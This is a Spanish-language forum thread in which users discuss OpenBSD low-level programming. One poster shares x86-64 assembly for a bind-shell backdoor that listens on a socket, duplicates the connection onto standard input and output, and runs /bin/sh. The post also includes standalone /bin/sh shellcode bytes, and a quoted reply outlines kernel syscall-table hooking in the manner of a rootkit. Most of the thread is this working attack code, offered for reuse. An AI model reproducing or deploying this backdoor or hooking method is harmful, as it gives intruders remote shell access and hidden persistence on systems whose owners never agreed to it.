Cita de: Alex Mtx en 17 Diciembre 2012, 09:19 AM
Tendrás que pensar para cual de los *BSD querés desarrollar ... ya que FreeBSD, OpenBSD, DragonflyBSD, NetBSD y demás comparten un pasado en común pero son proyectos y sistemas diferentes.
Sí, solo funciona en OpenBSD, ya lo probé en un Mac OS X y nada no puede ni ejecutar el binario, que desilusión xD.
Cita de: Alex Mtx en 17 Diciembre 2012, 09:19 AM
Tendrás que pensar para cual de los *BSD querés desarrollar ... ya que FreeBSD, OpenBSD, DragonflyBSD, NetBSD y demás comparten un pasado en común pero son proyectos y sistemas diferentes.
Escuché muy buenos reviews de ese libro, pero no lo leí ... lo que te aconsejaría es que lo bajes de algún lado, pispees si tiene lo que necesitás y después ves si te conseguís el de papel o no.
Es lo que voy hacer, odio leer un libro en un ordenador.
Cita de: Alex Mtx en 17 Diciembre 2012, 09:19 AM
Si, al ser un lenguaje más simplificado en sintaxis y formateo se hace más rápido de escribir. El problema es mantenerlo y la portabilidad, sobre todo la portabilidad.
Si escribís assembly para una arquitectura te olvidás del resto ... si escribís un C medianamente limpio compilás para cualquier otra arquitectura (x86/x86_64/"x32"/arm/sparc/mips/blah ), para eso se inventó C como pilar de Unix !! x'3
+1
Cita de: Alex Mtx en 17 Diciembre 2012, 09:19 AM
Pensá que varios routers son de arquitectura arm o mips (el mío es un linux mips). Pero depende mucho de a qué "audiencia" apuntes, claro ! ;)
Correcto, ése es el número de la syscall (no te preocupes, hay un .h que incluye todos los defines así no tenés que andar recordando numeros )
Yo las miro en syscall.h.
Cita de: Alex Mtx en 17 Diciembre 2012, 09:19 AM
1) Obtenés la dirección a la "tabla" (es un vector) de syscalls
2) Le cambiás la protección de readonly a readwrite con change_page_attr()
3) Ya pudiendo escribir, cambiás la dirección de la syscall que te interesa (usando el número de syscall -que es la posición en el vector- que sacás de un define por comodidad/portabilidad ) por tu propia función.
4) Profit.
Gracias por la explicación.
Bueno de lo que iba hacerle ala backdoor, ya esta echo menos lo de cifrar el trafico y lo de pf esta casi, la comparto es lo mínimo que puedo hacer.
Código (asm) [Seleccionar]
.section .text
.globl _start
_start:
movb $97, %al
movq $2, %rdi
movq $1, %rsi
movq $6, %rdx
int $0x80
movq %rax, %r12
push $0x02
movq $104, %rax
movq %r12, %rdi
movq %rsp,%rsi
mov $16, %rdx
int $0x80
movq %r12, %rdi
movq $0x05, %rsi
movq $106, %rax
int $0x80
movq %rax, %r11
xorq %rax, %rax
pushq %rax
movq $30, %rax
movq %r12, %rdi
movq %r8, %rsi
movq %rsp, %rdx
int $0x80
movq %rax, %r11
xorq %rsi, %rsi
movq %r11, %rdi
movb $90, %al
int $0x80
incq %rsi
movq %r11, %rdi
movb $90, %al
int $0x80
xorq %rax, %rax
xorq %rsi, %rsi
xorq %rdi, %rdi
xorq %rdx, %rdx
.byte 0x50,0x48,0xb8,0x2f,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x50,0x48,0x89,0xe7,0x48,0x31,0xc0,0x50,0x48,0x89,0xe6,0xb0,0x3b,0xcd,0x80
La shellcode de sh.
Código (asm) [Seleccionar]
.section .text
.globl _start
_start:
pushq %rax
movq $0x68732f6e69622f2f, %rax
pushq %rax
movq %rsp, %rdi
xorq %rax, %rax
pushq %rax
movq %rsp, %rsi
movb $0x3b, %al
int $0x80
Elimine la .section data porque así pesa menos, antes heran unos 2.1K, ahora son unos 1.7K peso muy bajo xD, seguro que en C pesa cinco veces más.
Por cierto al hacer eso tengo el siguiente problema, la estructura sockaddr_in la intento hacer así:
Código (asm) [Seleccionar]
push $0x1226
push $0x0100007f # 127.0.0.1
push $0x2
movq %rsp, %rsi
Solamente copia 0x2 AF_INET, la dirección y el puerto nada. Con la shellcode de pf me pasa lo mismo, solo copia el primer push.
Un saludo.
P.D: El tema lo doy por resuelto, si sabés y sí quieres, contesta mi última pregunta.